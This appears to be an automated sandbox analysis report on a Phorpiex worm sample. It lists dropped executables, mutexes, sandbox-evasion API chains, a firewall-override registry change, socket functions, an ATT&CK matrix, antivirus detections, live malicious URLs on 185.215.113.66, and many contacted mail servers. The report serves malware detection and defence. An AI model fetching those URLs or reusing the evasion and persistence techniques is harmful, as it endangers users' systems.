File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D90T3WBP\1[1]

Jump to behavior

Source: C:\Windows\ sysesvcmw.exe

File created: C:\Users\user\AppData\Local\Temp\2569813542.exe

Jump to behavior

Source: classification engine

Classification label: mal100.spre.troj.spyw.evad.winEXE@8/14@1162/100

Source: C:\Users\user\Desktop\newtpp.exe

Code function: 0_2_0040C000 SysAllocString,CoCreateInstance,SysFreeString,

0_2_0040C000

Source: C:\Users\user\Desktop\newtpp.exe

Code function: 0_2_004054A0 Sleep,GetModuleFileNameW,GetVolumeInformationW,GetDiskFreeSpaceExW,_aulldiv,wsprintfW,wsprintfW,wsprintfW,Sleep,ExitThread,

0_2_004054A0

Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	Mutant created: \Sessions\1\BaseNamedObjects\249905
Source: C:\Windows\ sysesvcmw.exe	Mutant created: \Sessions\1\BaseNamedObjects\2u9o0b7n
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	Mutant created: \Sessions\1\BaseNamedObjects\t4t4t

Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	Command line argument: 249905		9_2_002E26A0
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	Command line argument: t4t4t		10_2_00C726A0

Source: C:\Users\user\AppData\Local\Temp\2569813542.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9625_none_508ef7e4bcbbe589\MSVCR90.dll

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	Code function: 9_2_002E2E31 push ecx; ret		9_2_002E2E44
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	Code function: 10_2_00C72E31 push ecx; ret		10_2_00C72E44

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\Desktop\newtpp.exe

Executable created and started: C:\Windows\ sysesvcmw.exe

Jump to behavior

Source: C:\Windows\ sysesvcmw.exe	File created: C:\Users\user\AppData\Local\Temp\22195367.exe	Jump to dropped file
Source: C:\Windows\ sysesvcmw.exe	File created: C:\Users\user\AppData\Local\Temp\2569813542.exe	Jump to dropped file
Source: C:\Users\user\Desktop\newtpp.exe	File created: C:\Windows\ sysesvcmw.exe	Jump to dropped file

Source: C:\Users\user\Desktop\newtpp.exe

File created: C:\Windows\ sysesvcmw.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Users\user\Desktop\newtpp.exe	File opened: C:\Users\user\Desktop\newtpp.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	File opened: C:\Windows\ sysesvcmw.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	File opened: C:\Users\user\AppData\Local\Temp\2569813542.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\ sysesvcmw.exe	File opened: C:\Users\user\AppData\Local\Temp\22195367.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	File opened: C:\Users\user\AppData\Local\Temp\2569813542.exe:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	File opened: C:\Users\user\AppData\Local\Temp\22195367.exe:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_9-745
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess
Source: C:\Users\user\Desktop\newtpp.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_0-4314
Source: C:\Windows\ sysesvcmw.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_2-4315
Source: C:\Windows\ sysesvcmw.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_2-4315
Source: C:\Users\user\Desktop\newtpp.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_0-4314
Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_9-745
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_0040B540	0_2_0040B540
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_0040B540	2_2_0040B540
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_0040B540	8_2_0040B540

Source: C:\Windows\ sysesvcmw.exe TID: 7660	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2569813542.exe TID: 8020	Thread sleep time: -2808000000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2569813542.exe TID: 8020	Thread sleep time: -216000000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\22195367.exe TID: 6340	Thread sleep time: -1944000000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\22195367.exe TID: 6340	Thread sleep time: -216000000s >= -30000s	Jump to behavior

Source: C:\Windows\ sysesvcmw.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	Last function: Thread delayed

Source: C:\Windows\ sysesvcmw.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	Thread delayed: delay time: 216000000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	Thread delayed: delay time: 216000000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	Thread delayed: delay time: 216000000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	Thread delayed: delay time: 216000000	Jump to behavior

Source: C:\Users\user\Desktop\newtpp.exe	Evaded block: after key decision	graph_0-4371
Source: C:\Users\user\Desktop\newtpp.exe	Evaded block: after key decision	graph_0-4318
Source: C:\Windows\ sysesvcmw.exe	Evaded block: after key decision	graph_8-4313

Source: C:\Users\user\Desktop\newtpp.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_0-5197
Source: C:\Windows\ sysesvcmw.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_2-4322
Source: C:\Windows\ sysesvcmw.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_2-5656
Source: C:\Users\user\Desktop\newtpp.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_0-4321

Source: C:\Users\user\Desktop\newtpp.exe	API coverage: 3.8 %
Source: C:\Windows\ sysesvcmw.exe	API coverage: 1.3 %

Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_0040B540		0_2_0040B540
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_0040B540		8_2_0040B540

Source: C:\Users\user\Desktop\newtpp.exe

Code function: 0_2_0040EB00 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,

0_2_0040EB00

Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_00404E80 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00404E80
Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_00404FC0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	0_2_00404FC0
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_00404E80 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	2_2_00404E80
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_00404FC0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	2_2_00404FC0
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_00404E80 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	8_2_00404E80
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_00404FC0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	8_2_00404FC0

Source: C:\Windows\ sysesvcmw.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	Thread delayed: delay time: 216000000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	Thread delayed: delay time: 216000000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	Thread delayed: delay time: 216000000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	Thread delayed: delay time: 216000000	Jump to behavior

Source: C:\Users\user\Desktop\newtpp.exe	API call chain: ExitProcess graph end node	graph_0-4317
Source: C:\Users\user\Desktop\newtpp.exe	API call chain: ExitProcess graph end node	graph_0-4327
Source: C:\Windows\ sysesvcmw.exe	API call chain: ExitProcess graph end node	graph_2-4347
Source: C:\Windows\ sysesvcmw.exe	API call chain: ExitProcess graph end node	graph_2-4317
Source: C:\Windows\ sysesvcmw.exe	API call chain: ExitProcess graph end node	graph_2-4329
Source: C:\Windows\ sysesvcmw.exe	API call chain: ExitProcess graph end node	graph_8-4346
Source: C:\Windows\ sysesvcmw.exe	API call chain: ExitProcess graph end node	graph_8-4327
Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	API call chain: ExitProcess graph end node	graph_9-751
Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	API call chain: ExitProcess graph end node	graph_9-747
Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	API call chain: ExitProcess graph end node	graph_9-795
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	API call chain: ExitProcess graph end node

Source: 22195367.exe, 0000000A.00000002.2484548896.0000000000A2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxx
Source: sysesvcmw.exe, 00000002.00000002.2484732618.00000000006AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWxNn%SystemRoot%\system32\mswsock.dlluSq
Source: 2569813542.exe, 00000009.00000002.2484609456.0000000001147000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWof
Source: sysesvcmw.exe, 00000002.00000002.2484732618.000000000075B000.00000004.00000020.00020000.00000000.sdmp, 2569813542.exe, 00000009.00000002.2484609456.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, 2569813542.exe, 00000009.00000002.2484609456.0000000001147000.00000004.00000020.00020000.00000000.sdmp, 22195367.exe, 0000000A.00000002.2484548896.0000000000A8A000.00000004.00000020.00020000.00000000.sdmp, 22195367.exe, 0000000A.00000002.2484548896.0000000000A96000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: sysesvcmw.exe, 00000002.00000002.2484732618.00000000006AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWj5O!

Source: C:\Users\user\AppData\Local\Temp\2569813542.exe

Code function: 9_2_002E2F68 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,

9_2_002E2F68

Source: C:\Users\user\Desktop\newtpp.exe

Code function: 0_2_00408930 GetProcessHeaps,

0_2_00408930

Source: C:\Users\user\AppData\Local\Temp\2569813542.exe	Code function: 9_2_002E2F68 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,		9_2_002E2F68
Source: C:\Users\user\AppData\Local\Temp\22195367.exe	Code function: 10_2_00C72F68 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,		10_2_00C72F68

Source: C:\Users\user\Desktop\newtpp.exe	Code function: GetLocaleInfoA,	0_2_0040D0F0
Source: C:\Windows\ sysesvcmw.exe	Code function: GetLocaleInfoA,	2_2_0040D0F0
Source: C:\Windows\ sysesvcmw.exe	Code function: GetLocaleInfoA,	8_2_0040D0F0

Source: C:\Windows\ sysesvcmw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\2569813542.exe

Code function: 9_2_002E1490 GetLocalTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeZoneInformation,wsprintfA,wsprintfA,

9_2_002E1490

Source: C:\Users\user\AppData\Local\Temp\2569813542.exe

Code function: 9_2_002E1490 GetLocalTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeZoneInformation,wsprintfA,wsprintfA,

9_2_002E1490

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\ sysesvcmw.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center FirewallOverride

Jump to behavior

Remote Access Functionality

Yara detected Phorpiex

Source: Yara match	File source: newtpp.exe, type: SAMPLE
Source: Yara match	File source: 2.2. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2. sysesvcmw.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.newtpp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.newtpp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.1390279916.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.1282255477.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1235675253.0000000000410000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: newtpp.exe PID: 7344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysesvcmw.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysesvcmw.exe PID: 7824, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\ sysesvcmw.exe, type: DROPPED

Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_0040D8A0 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	0_2_0040D8A0
Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_0040DD70 CreateEventA,socket,bind,CreateThread,	0_2_0040DD70
Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_0040EB00 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	0_2_0040EB00
Source: C:\Users\user\Desktop\newtpp.exe	Code function: 0_2_0040C580 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	0_2_0040C580
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_0040D8A0 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	2_2_0040D8A0
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_0040DD70 CreateEventA,socket,bind,CreateThread,	2_2_0040DD70
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_0040EB00 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	2_2_0040EB00
Source: C:\Windows\ sysesvcmw.exe	Code function: 2_2_0040C580 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	2_2_0040C580
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_0040D8A0 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	8_2_0040D8A0
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_0040DD70 CreateEventA,socket,bind,CreateThread,	8_2_0040DD70
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_0040EB00 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	8_2_0040EB00
Source: C:\Windows\ sysesvcmw.exe	Code function: 8_2_0040C580 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	8_2_0040C580

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Command and Scripting Interpreter	Path Interception	1 Process Injection	121 Masquerading	11 Input Capture	2 System Time Discovery	Remote Services	11 Input Capture	Exfiltration Over Other Network Medium	2 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	11 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	231 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	21 Virtualization/Sandbox Evasion	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	12 Clipboard Data	Automated Exfiltration	4 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Process Injection	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Hidden Files and Directories	LSA Secrets	2 System Network Connections Discovery	SSH	Keylogging	Data Transfer Size Limits	23 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	15 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
newtpp.exe	87%	ReversingLabs	Win32.Worm.Phorpiex
newtpp.exe	82%	Virustotal		Browse
newtpp.exe	100%	Avira	WORM/Phorpiex.zkvfc
newtpp.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\2569813542.exe	100%	Avira	TR/AD.Phorpiex.hjsmv
C:\Users\user\AppData\Local\Temp\22195367.exe	100%	Avira	TR/AD.Phorpiex.hanud
C:\Windows\ sysesvcmw.exe	100%	Avira	WORM/Phorpiex.zkvfc
C:\Users\user\AppData\Local\Temp\2569813542.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\22195367.exe	100%	Joe Sandbox ML
C:\Windows\ sysesvcmw.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2569813542.exe	83%	ReversingLabs	Win32.Worm.Phorpiex
C:\Windows\ sysesvcmw.exe	87%	ReversingLabs	Win32.Worm.Phorpiex

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
lonestarsteakhouse.com	0%	Virustotal	Browse
aspmx3.googlemail.com	0%	Virustotal	Browse
mail.blackpagesohio.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://185.215.113.66/from/83.txt	100%	Avira URL Cloud	malware
http://185.215.113.66/ca/http://185.215.113.66/ca/n.txt	100%	Avira URL Cloud	malware
http://185.215.113.66/ca/n.txt	100%	Avira URL Cloud	malware
http://185.215.113.66/5C	100%	Avira URL Cloud	malware
http://185.215.113.66/from/Tmlr235872385823705208375802803570823705720875082730857203750835728037507	100%	Avira URL Cloud	malware
http://185.215.113.66/from/83.txtP	100%	Avira URL Cloud	malware
http://185.215.113.66/from/83.txtT	100%	Avira URL Cloud	malware
http://185.215.113.66/4	100%	Avira URL Cloud	malware
http://185.215.113.66/from/n.txt	100%	Avira URL Cloud	malware
http://185.215.113.66/5	100%	Avira URL Cloud	malware
http://185.215.113.66/1w	100%	Avira URL Cloud	malware
http://185.215.113.66/from/	100%	Avira URL Cloud	malware
http://185.215.113.66/2	100%	Avira URL Cloud	malware
http://185.215.113.66/3	100%	Avira URL Cloud	malware
http://185.215.113.66/5H	100%	Avira URL Cloud	malware
http://185.215.113.66/1C:	100%	Avira URL Cloud	malware
http://185.215.113.66/2C:	100%	Avira URL Cloud	malware
http://185.215.113.66/32	100%	Avira URL Cloud	malware
http://185.215.113.66/ca/	100%	Avira URL Cloud	malware
http://185.215.113.66/1s	100%	Avira URL Cloud	malware
http://185.215.113.66/ca/n.txt4	100%	Avira URL Cloud	malware
http://185.215.113.66/2u9o0b7n	100%	Avira URL Cloud	malware
http://185.215.113.66/1	100%	Avira URL Cloud	malware
http://185.215.113.66/ca/7w	100%	Avira URL Cloud	malware
http://185.215.113.66/35	100%	Avira URL Cloud	malware
http://185.215.113.66/ca/133.txt	100%	Avira URL Cloud	malware
http://185.215.113.66/5KK	100%	Avira URL Cloud	malware
http://185.215.113.66/5f	100%	Avira URL Cloud	malware
http://185.215.113.66/ca/133.txt(N	100%	Avira URL Cloud	malware
http://185.215.113.66/ca/n.txtd	100%	Avira URL Cloud	malware
http://185.215.113.66/ca/133.txtnO	100%	Avira URL Cloud	malware
http://185.215.113.66/1N	100%	Avira URL Cloud	malware
http://185.215.113.66/	100%	Avira URL Cloud	malware
http://185.215.113.66/4o	100%	Avira URL Cloud	malware
http://185.215.113.66/ca/Tmlr23587238582370520837580280357082370572087508273085720375083572803750750	100%	Avira URL Cloud	malware
http://185.215.113.66/from/http://185.215.113.66/from/n.txt	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
lnf-com.mail.protection.outlook.com	104.47.59.138	true	false		high
lonestarsteakhouse.com	108.178.59.182	true	false	0%, Virustotal, Browse	unknown
mx1.peacecorps.iphmx.com	68.232.143.80	true	false		high
mxin10.virginmedia.com	84.116.6.18	true	false		high
aero-bombardier-com.mail.protection.outlook.com	104.47.11.74	true	false		high
canadiantire-ca.mail.protection.outlook.com	104.47.75.164	true	false		high
mxa-0028ed01.gslb.pphosted.com	67.231.158.200	true	false		high
hintonet-net.mx.av-mx.com	150.136.204.204	true	false		unknown
mxa-000c7201.gslb.pphosted.com	67.231.144.101	true	false		high
alt2.aspmx.l.google.com	74.125.200.26	true	false		high
sjdc-itpf-01.udc.trendmicro.com	66.180.82.129	true	false		high
mx2.biz.rr.com	47.43.26.68	true	false		high
aspmx3.googlemail.com	74.125.200.27	true	false	0%, Virustotal, Browse	unknown
golder-com.mail.protection.outlook.com	104.47.75.228	true	false		high
eaglesflight-com.mail.protection.outlook.com	104.47.75.228	true	false		high
cluster5a.us.messagelabs.com	52.207.128.88	true	false		high
distributiongroup-ca.mail.protection.outlook.com	104.47.75.228	true	false		high
mail.blackpagesohio.com	192.185.121.109	true	false	0%, Virustotal, Browse	unknown
mxa-00183301.gslb.pphosted.com	67.231.158.111	true	false		high
velocitytrade-com.mail.protection.outlook.com	104.47.75.164	true	false		high
mx01.mail.icloud.com	17.57.156.30	true	false		high
mx.ca.email.fireeyecloud.com	3.97.207.2	true	false		unknown
comptoirdescotonniers-com.mail.protection.outlook.com	104.47.23.74	true	false		high
txdal11mx02.parsons.com	206.219.199.110	true	false		high
usask-ca.mail.protection.outlook.com	104.47.75.228	true	false		high
ngenia-com.mail.protection.outlook.com	104.47.75.228	true	false		high
360-image.com	64.34.156.171	true	false		unknown
cegepstefoy-qc-ca01cc.mail.protection.outlook.com	104.47.75.228	true	false		high
mx1.privateemail.com	198.54.122.240	true	false		high
mx.rcn.com	129.159.122.98	true	false		high
d228656b.ess.barracudanetworks.com	209.222.82.253	true	false		high
mxb-00384c01.gslb.pphosted.com	67.231.150.34	true	false		high
mx2.hc910-8.c3s2.iphmx.com	216.71.136.182	true	false		high
mxb-000e6601.gslb.pphosted.com	148.163.153.207	true	false		high
eu-smtp-inbound-1.mimecast.com	91.220.42.241	true	false		high
umontreal-ca.mail.protection.outlook.com	104.47.75.228	true	false		high
tc-tc.mail.protection.outlook.com	104.47.75.228	true	false		high
grouperesistance-com.mail.protection.outlook.com	104.47.75.228	true	false		high
mx-cluster-ca01.hornetsecurity.com	108.163.133.231	true	false		high
ellisdon-com.mail.protection.outlook.com	104.47.75.228	true	false		high
itcinfotech-com.mail.protection.outlook.com	104.47.26.10	true	false		high
mx2.hc503-62.ca.iphmx.com	216.71.131.13	true	false		high
tismc-com.mail.protection.outlook.com	52.101.11.3	true	false		high
mx.eastlink.ca	24.222.0.18	true	false		high
mx1.hc650-42.ca.iphmx.com	216.71.134.52	true	false		high
mxa-00596a01.gslb.pphosted.com	205.220.170.48	true	false		high
nutreco-ca.mail.protection.outlook.com	52.101.73.11	true	false		high
transperfect-com.mx2.arsmtp.com	8.19.118.174	true	false		unknown
gov-bc-ca.mail.protection.outlook.com	104.47.75.228	true	false		high
ccso-org.mail.protection.outlook.com	104.47.64.110	true	false		high
lifemark-ca.mail.protection.outlook.com	104.47.75.228	true	false		high
ecothrift-com.mail.protection.outlook.com	104.47.55.138	true	false		high
mailgate2.on-call.ca	67.212.93.71	true	false		unknown
innomagazine-com.p30.spamhero.net	216.172.106.23	true	false		high
ccmm-qc-ca.mail.protection.outlook.com	104.47.75.164	true	false		high
rangeweb-net.mx.av-mx.com	150.136.204.204	true	false		unknown
msn-com.olc.protection.outlook.com	104.47.73.161	true	false		high
mxa-001a8a02.gslb.pphosted.com	148.163.152.104	true	false		high
securitas-ca.mail.protection.outlook.com	52.101.73.4	true	false		high
lausd-net.mail.protection.outlook.com	52.101.11.9	true	false		high
gouv-qc-ca.mail.protection.outlook.com	104.47.75.164	true	false		high
temptationsforher.com	192.185.46.31	true	false		unknown
mailgate.gov.nt.ca	216.108.160.2	true	false		unknown
eu-smtp-inbound-2.mimecast.com	195.130.217.241	true	false		high
